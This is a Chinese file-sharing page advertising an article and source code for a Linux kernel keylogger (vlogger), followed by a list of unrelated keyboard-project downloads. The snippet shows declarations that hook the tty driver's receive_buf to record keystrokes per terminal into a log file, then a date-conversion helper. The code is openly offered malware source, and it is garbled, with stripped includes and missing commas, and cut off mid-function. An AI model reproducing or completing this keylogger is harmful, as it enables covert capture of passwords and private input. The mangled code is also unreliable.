资源简介
本文分成两个部分。第一部分给出了Linux键盘驱动的工作原理,而后给出了键盘记录器的工作细节及其源代码。
代码片段和文件信息
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include “config.h“
#include “klogger.h“
extern int hook_init(void);
spinlock_t pty_lock = SPIN_LOCK_UNLOCKED;
spinlock_t pty_lock1 = SPIN_LOCK_UNLOCKED;
struct tlogger *ttys[MAX_TTY_CON + MAX_PTS_CON] = { NULL };
int vlogger_mode = DEFAULT_MODE;
struct tty_struct *tty = NULL;
struct tty_driver *tty_driver = NULL;
int errno;
void (*old_receive_buf)(struct tty_struct *const unsigned char *char *int);
int epoch2time (const time_t *t long int offset struct vtm *tp);
void get_time (char *date_time);
void new_receive_buf(struct tty_struct *tty const unsigned char *cp
char *fp int count);
void reset_all_buf(void);
struct task_struct *get_task(pid_t pgrp);
void special_key(struct tlogger *tmp const unsigned char *cp int count);
void logging(struct tty_struct *tty struct tlogger *tmp int cont);
void vlogger_process(struct tty_struct *ttyconst unsigned char *cp int count);
int write_to_file(char *logfile char *buf int size);
void init_tty(struct tty_struct *tty int tty_index);
int my_open_tty(void);
int epoch2time (const time_t *t long int offset struct vtm *tp)
{
static const unsigned short int mon_yday[2][13] = {
/* Normal years. */
{ 0 31 59 90 120 151 181 212 243 273 304 334 365 }
/* Leap years. */
{ 0 31 60 91 121 152 182 213 244 274 305 335 366 }
};
long int days rem y;
const unsigned short int *ip;
days = *t / SECS_PER_DAY;
rem = *t % SECS_PER_DAY;
rem += offset;
while (rem < 0) {
rem += SECS_PER_DAY;
--days;
}
while (rem >= SECS_PER_DAY) {
rem -= SECS_PER_DAY;
++days;
}
tp->tm_hour = rem / SECS_PER_HOUR;
rem %= SECS_PER_HOUR;
tp->tm_min = rem / 60;
tp->tm_sec = rem % 60;
y = 1970;
while (days < 0 || days >= (isleap (y) ? 366 : 365)) {
long int yg = y + days / 365 - (days % 365 < 0);
days -= ((yg - y) * 365
+ LEAPS_THRU_END_OF (yg - 1)
- LEAPS_THRU_END_OF (y - 1));
y = yg;
}
tp->tm_year = y - 1900;
if (tp->tm_year != y - 1900)
return 0;
ip = mon_yday[isleap(y)];
for (y = 11; days < (long int) ip[y]; --y)
continue;
days -= ip[y];
tp->tm_mon = y;
相关资源
- 设计一个简易键盘 数字电路课程设计
- 适合程序员的键盘练习程序(据说旧
- msp430 模块程序 包括DS18B20 PS2 串口 电
- C51单片机密码锁4×4矩阵键盘+LCD1602液
- QT下数字键盘
- 基于51单片机的 4×4键盘及8位数码管显
- 暗眼键盘记录暗眼键盘记暗眼键盘记
- 8279键盘显示及6264RAM
- ps2键盘程序,已成功。
- 4×4 键盘在 8×8LED点阵上的应用课程设
- stm32 4*4矩阵键盘
- numberKeyBoard.rar
- 4×4矩阵键盘原理及其在单片机中的简
- 获取键盘输入一个中缀表达式,将它
- 4*4矩阵键盘原理图及资料
- 键盘显示系统
- HidEmuKbd.bin
- 微机接口原理与设计实验--8255
- 4×4矩阵键盘键值LCD1602显示汇编语言
- 基于labview的软键盘
- 黑苹果通用ps2键盘驱动
- 实验三:键盘显示自己的学号
- OnScreenKeyboard虚拟键盘,AssetStore价值
- STM32 矩阵键盘扫描
- opengl通过键盘对3d图像进行颜色,光照
- 矩阵键盘4*3
- STC89C52RC 智能家居设计(GSM+人体红外
- 51单片机双机通信
- 基于Verilog的低功耗矩阵键盘扫描设计
- 用FPGA实现16位矩阵键盘键值在数码管
评论
共有 条评论